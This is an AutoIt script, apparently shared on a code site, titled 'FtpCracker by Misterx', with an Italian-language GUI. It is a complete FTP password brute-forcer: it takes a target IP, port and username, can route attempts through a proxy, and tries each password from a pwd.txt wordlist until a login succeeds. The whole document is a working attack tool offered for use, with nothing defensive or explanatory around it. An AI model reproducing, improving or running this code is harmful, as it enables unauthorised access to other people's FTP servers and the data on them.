AutoIT [AUTOIT] FtpCracker

[sQuo]

| FtpCracker by Misterx |

>
#cs  --------------------------
   | FtpCracker by Misterx   |
   |                          |
   | +     +       \        /  |
   | + *  *+       \     /    |
   | +  *  +        \  /      |
   | +     +         /        |
   | +        +       /  \       |
   | +        +     /     \      |
   |                          |
#ce  --------------------------

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

HotKeySet("{F4}","stop")

;GUICreate
$gui=GUICreate("FtpCracker",340,250)
GUISetBkColor(0xFF8140)
GUICtrlSetDefColor(0x0060A0)
GUISetCursor(7)
GUIGetStyle()

;menu
$menu=GUICtrlCreateMenu("Menu")
$ftp=GUICtrlCreateMenuItem("Ftp",$menu)
$telnet=GUICtrlCreateMenuItem("Telnet",$menu)
$exit=GUICtrlCreateMenuItem("Esci",$menu)

;ip control
GUICtrlCreateGroup("Connessione",5,5,170,95)
GUICtrlCreateLabel("Ip =>",15,25)
$ip1=_GetIP()
$ip=GUICtrlCreateInput($ip1,45,23,120)
GUICtrlCreateLabel("Porta =>",15,50)
$porta=GUICtrlCreateInput("21",60,48,105)
GUICtrlCreateLabel("User =>",15,75)
$user=GUICtrlCreateInput("admin",60,73,105)

;proxy
GUICtrlCreateGroup("Proxy",5,100,170,95)
$proxy=GUICtrlCreateCheckbox("Usa proxy",15,115)
GUICtrlCreateLabel("Ip =>",15,145)
$proxyset=GUICtrlCreateInput("",45,142,120)
GUICtrlCreateLabel("Porta =>",15,170)
$proxyporta=GUICtrlCreateInput("",60,167,105)


;start
$start=GUICtrlCreateButton("Start",5,200,170)

;status
$log=GUICtrlCreateListView("Log                                                   ",180,10,154,215)

GUISetState()

While 1
   $msg=GUIGetMsg()
   Select
   Case $msg=$ftp
       $ip2=GUICtrlRead($ip)
       _RunDOS("start ftp "& $ip2)
   Case $msg=$telnet
       $ip2=GUICtrlRead($ip)
       $porta2=GUICtrlRead($porta)
       _RunDOS("start telnet "& $ip2 &" "& $porta2)
   Case $msg=$exit
       Exit
   Case $msg=$gui_event_close
       Exit
   Case $msg=$start
       If Not FileExists("pwd.txt") Then MsgBox(48,"FtpCracker","pwd.txt non trovato.")
       If GUICtrlRead($proxy)=$gui_checked Then
           $proxyset1=GUICtrlRead($proxyset)
           $proxyporta1=GUICtrlRead($proxyporta)
           FtpSetProxy(2,$proxyset1&":"&$proxyporta1)
       EndIf            
       GUICtrlCreateListViewItem("Avviato...",$log)
       $ip2=GUICtrlRead($ip)
       GUICtrlCreateListViewItem("Ping "& $ip2,$log)
       $ping=Ping($ip2)
       If Not $ping=1 Then
           GUICtrlCreateListViewItem($ip2 &" non risponde.",$log)
           GUICtrlCreateListViewItem("Attacco terminato",$log)
       Else
       GUICtrlCreateListViewItem($ip2 &" ha risposto.",$log)
       GUICtrlCreateListViewItem("Inizio attacco...",$log)
       $txt1="pwd.txt"
       Sleep(10)
       $file=FileOpen($txt1,0)
       $inizio=FileReadLine($txt1,1)
       $fine=FileReadLine($txt1,-1)
       $time1=TimerInit()
       While 2
           $elenco=FileReadLine($file)
               $ftpo=_FTPOpen('ftp')
               $Conn = _FTPConnect($ftpo, GUICtrlRead($ip),GUICtrlRead($user), $elenco,GUICtrlRead($porta))
               If Not @error Then 
                   GUICtrlCreateListViewItem("Attacco terminato.",$log)
                   GUICtrlCreateListViewItem("La password è: "& $elenco &"!",$log)
                   _FTPClose($ftpo)
                   MsgBox(0,"FtpCracker","Password trovata!!!"& @CRLF &"La password è :"& $elenco,10)
                   ExitLoop
               Else
                   GUICtrlCreateListViewItem($elenco &" errata;",$log)
                   Sleep(10)
               EndIf
               If $elenco=FileReadLine($txt1,-1) Then
                   GUICtrlCreateListViewItem("Attacco finito.",$log)
                   GUICtrlCreateListViewItem("Nessuna password trovata.",$log)
                   MsgBox(0,"FtpCracker","Nessuna password trovata.")
                   ExitLoop
               EndIf
       WEnd
       $time2=TimerDiff($time1)
           TrayTip("FTP Cracker","Completato in: "& Round($time2,1)/1000 &" sec",5)
       EndIf
EndSelect
WEnd

Func stop()
   Exit 0
EndFunc